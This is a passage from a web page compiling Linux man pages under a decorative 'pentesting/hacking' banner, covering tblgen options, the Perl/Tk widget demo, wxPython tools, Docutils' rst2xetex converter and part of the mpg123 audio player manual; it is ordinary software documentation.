-gen-pseudo-lowering
Generate pseudo instruction lowering.

-gen-register-bank
Generate register bank descriptions.

-gen-register-info
Generate registers and register classes info.

-register-info-debug
Make -gen-register-info dump register information for debugging.

-gen-searchable-tables
Generate generic searchable tables. See TableGen BackEnds for a detailed description.

-gen-subtarget
Generate subtarget enumerations.

-gen-x86-EVEX2VEX-tables
Generate X86 EVEX to VEX compress tables.

-gen-x86-fold-tables
Generate X86 fold tables.

-long-string-literals
When emitting large string tables, prefer string literals over comma-separated char literals. This can be a readability and compile-time performance win, but upsets some compilers.

-print-enums
Print enumeration values for a class.

-class=classname
Make -print-enums print the enumeration list for the specified class.

-print-sets
Print expanded sets for testing DAG exprs.

mlir-tblgen Options

-gen-avail-interface-decls
Generate availability interface declarations.

-gen-avail-interface-defs
Generate op interface definitions.

-gen-dialect-doc
Generate dialect documentation.

-dialect
The dialect to generate.

-gen-directive-decl
Generate declarations for directives (OpenMP, etc.).

-gen-enum-decls
Generate enum utility declarations.

-gen-enum-defs
Generate enum utility definitions.

-gen-enum-from-llvmir-conversions
Generate conversions of EnumAttrs from LLVM IR.

-gen-enum-to-llvmir-conversions
Generate conversions of EnumAttrs to LLVM IR.

-gen-llvmir-conversions
Generate LLVM IR conversions.

-gen-llvmir-intrinsics
Generate LLVM IR intrinsics.

-llvmir-intrinsics-filter
Only keep the intrinsics with the specified substring in their record name.

-dialect-opclass-base
The base class for the ops in the dialect we are to emit.

-gen-op-decls
Generate operation declarations.

-gen-op-defs
Generate operation definitions.

-asmformat-error-is-fatal
Emit a fatal error if format parsing fails.

-op-exclude-regex
Regular expression of name of ops to exclude (no filter if empty).

-op-include-regex
Regular expression of name of ops to include (no filter if empty).

-gen-op-doc
Generate operation documentation.

-gen-pass-decls
Generate operation documentation.

-name namestring
The name of this group of passes.

-gen-pass-doc
Generate pass documentation.

-gen-rewriters
Generate pattern rewriters.

-gen-spirv-avail-impls
Generate SPIR-V operation utility definitions.

-gen-spirv-capability-implication
Generate utility function to return implied capabilities for a given capability.

-gen-spirv-enum-avail-decls
Generate SPIR-V enum availability declarations.

-gen-spirv-enum-avail-defs
Generate SPIR-V enum availability definitions.

-gen-spirv-op-utils
Generate SPIR-V operation utility definitions.

-gen-spirv-serialization
Generate SPIR-V (de)serialization utilities and functions.

-gen-struct-attr-decls
Generate struct utility declarations.

-gen-struct-attr-defs
Generate struct utility definitions.

-gen-typedef-decls
Generate TypeDef declarations.

-gen-typedef-defs
Generate TypeDef definitions.

-typedefs-dialect name
Generate types for this dialect.

EXIT STATUS

If *-tblgen succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1957 - Linux cli command widgetp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command widgetp and provides detailed information about the command widgetp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the widgetp.

NAME 🖥️ widgetp 🖥️

Demonstration of Perl/Tk widgets

SYNOPSYS

widget [ directory ]

DESCRIPTION

This script demonstrates the various widgets provided by Tk, along with many of the features of the Tk toolkit. This file only contains code to generate the main window for the application, which invokes individual demonstrations. The code for the actual demonstrations is contained in separate “.pl” files in the “widget_lib” directory, which are autoloaded by this script as needed.

widget looks in the directory specified on the command line to load user contributed demonstrations. If no directory name is specified when widget is invoked and the environment variable WIDTRIB is defined then demonstrations are loaded from the WIDTRIB directory. If WIDTRIB is undefined then widget defaults to the released user contributed directory, “widtrib”.

History

# # Stephen O. Lidie, LUCC, 96/03/11. [email protected] # Stephen O. Lidie, LUCC, 97/01/01. [email protected] # Stephen O. Lidie, LUCC, 97/02/11. [email protected] # Stephen O. Lidie, LUCC, 97/06/07. [email protected] # Update for Tk402.00x. Total revamp: WidgetDemo, Scrolled, released # composites, -menuitems, qw//, etcetera. Perl 5.004 required. # Stephen O. Lidie, LUCC, 98/03/10. [email protected] # Update for Tk8. # Stephen O. Lidie, LUCC, 98/06/26. [email protected] # Add Common Dialogs for Tk800.007. # [email protected], 1999/11/29, Lehigh University. # Demo some “dash patch” changes. # [email protected], 2000/01/11, Lehigh University. # Update menubar to Tk 8, fix color palette Menubutton demo. # [email protected], 2000/07/06, Lehigh University. # Remove inswt() from widget and styles.pl to show the proper Perl/Tk # idiom for inserting Text tags. Various and sundry cleanups. # [email protected], 2003/07/29, Lehigh University Computing Center. # Update for Tk 8.4.4.

AUTHOR

Steve Lidie <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1958 - Linux cli command pywxrc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pywxrc and provides detailed information about the command pywxrc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pywxrc.

NAME 🖥️ pywxrc 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1959 - Linux cli command rst2xetex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst2xetex and provides detailed information about the command rst2xetex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst2xetex.

NAME 🖥️ rst2xetex 🖥️

convert reST documents to XeLaTeX

SYNOPSIS

rst2xetex [options] [<source> [<destination>]]

DESCRIPTION

Generate LaTeX (XeLaTeX/LuaLaTeX) documents from standalone reStructuredText sources < <https://docutils.sourceforge.io/docs/user/latex.html> >. Reads from <source> (default is stdin) and writes to <destination> (default is stdout). See <https://docutils.sourceforge.io/docs/user/config.html> for a detailed settings reference.

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

Standalone Reader Options

–no-doc-title
Disable the promotion of a lone top-level section title to document title (and subsequent section title to document subtitle promotion; enabled by default).

–no-doc-info
Disable the bibliographic field list transform (enabled by default).

–section-subtitles
Activate the promotion of lone subsection titles to section subtitles (disabled by default).

–no-section-subtitles
Deactivate the promotion of lone subsection titles.

LaTeX-Specific Options

–documentclass=****DOCUMENTCLASS
Specify LaTeX documentclass. Default: “article”.

–documentoptions=****DOCUMENTOPTIONS
Specify document options. Multiple options can be given, separated by commas. Default: “a4paper”.

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. Default: “superscript”.

–use-latex-citations
Use cite command for citations. (future default)

–figure-citations
Use figure floats for citations (might get mixed with real figures). (provisional default)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. Default: “dash”.

–stylesheet=*****<file[,file,…]>*
Specify LaTeX packages/stylesheets. A style is referenced with “usepackage” if extension is “.sty” or omitted and with “input” else. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of LaTeX packages/stylesheets. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link- stylesheet, the path is rewritten relative to the output

*

.tex file.

System Message: WARNING/2 (debian/tmp/man/rst2xetex.txt:, line 191)
Inline emphasis start-string without end-string.

–link-stylesheet
Link to the stylesheet(s) in the output file. (default)

–embed-stylesheet
Embed the stylesheet(s) in the output file. Stylesheets must be accessible during processing.

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. Default: “.”.

–latex-preamble=****LATEX_PREAMBLE
Customization by LaTeX code in the preamble. Default: select “Linux Libertine” fonts.

–template=*****<file>*
Template file. Default: “xelatex.tex”.

–use-latex-toc
Table of contents by LaTeX. (default)

–use-docutils-toc
Table of contents by Docutils (without page numbers).

–use-part-section
Add parts on top of the section hierarchy.

–use-docutils-docinfo
Attach author and date to the document info table. (default)

–use-latex-docinfo
Attach author and date to the document title.

–topic-abstract
Typeset abstract as topic. (default)

–use-latex-abstract
Use LaTeX abstract environment for the document’s abstract.

–hyperlink-color=****HYPERLINK_COLOR
Color of any hyperlinks embedded in text. Default: “blue” (use “false” to disable).

–hyperref-options=****HYPERREF_OPTIONS
Additional options to the “hyperref” package.

–compound-enumerators
Enable compound enumerators for nested enumerated lists (e.g. “1.2.a.ii”).

–no-compound-enumerators
Disable compound enumerators for nested enumerated lists. (default)

–section-prefix-for-enumerators
Enable section (”." subsection …) prefixes for compound enumerators. This has no effect without –compound-enumerators.

–no-section-prefix-for-enumerators
Disable section prefixes for compound enumerators. (default)

–section-enumerator-separator=*****<char>*
Set the separator between section number and enumerator for compound enumerated lists. Default: “-”.

–literal-block-env=****LITERAL_BLOCK_ENV
When possible, use the specified environment for literal-blocks. Default: "" (fall back to “alltt”).

–use-verbatim-when-possible
Deprecated alias for “–literal-block-env=verbatim”.

–table-style=*****<format>*
Table style. “standard” with horizontal and vertical lines, “booktabs” (LaTeX booktabs style) only horizontal lines above and below the table and below the header, or “borderless”. Default: “standard”

–graphicx-option=****GRAPHICX_OPTION
LaTeX graphicx package option. Possible values are “dvipdfmx”, “dvips”, “dvisvgm”, “luatex”, “pdftex”, and “xetex”.Default: “”.

–reference-label=****REFERENCE_LABEL
Per default the latex-writer puts the reference title into hyperreferences. Specify “ref*” or “pageref*” to get the section number or the page number.

–use-bibtex=*****<style,bibfile[,bibfile,…]>*
Specify style and database(s) for bibtex, for example “–use-bibtex=unsrt,mydb1,mydb2”. Provisional!

–legacy-class-functions
Use legacy functions with class value list for DUtitle and DUadmonition.

–new-class-functions
Use DUrole and “DUclass” wrappers for class values. Place admonition content in an environment. (default)

–legacy-column-widths
Use legacy algorithm to determine table column widths. (provisional default)

–new-column-widths
Use new algorithm to determine table column widths. (future default)

–docutils-footnotes
Footnotes with numbers/symbols by Docutils. (default) (The alternative, –latex-footnotes, is not implemented yet.)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1960 - Linux cli command mpg123-alsa

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-alsa and provides detailed information about the command mpg123-alsa, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-alsa.

NAME 🖥️ mpg123-alsa 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
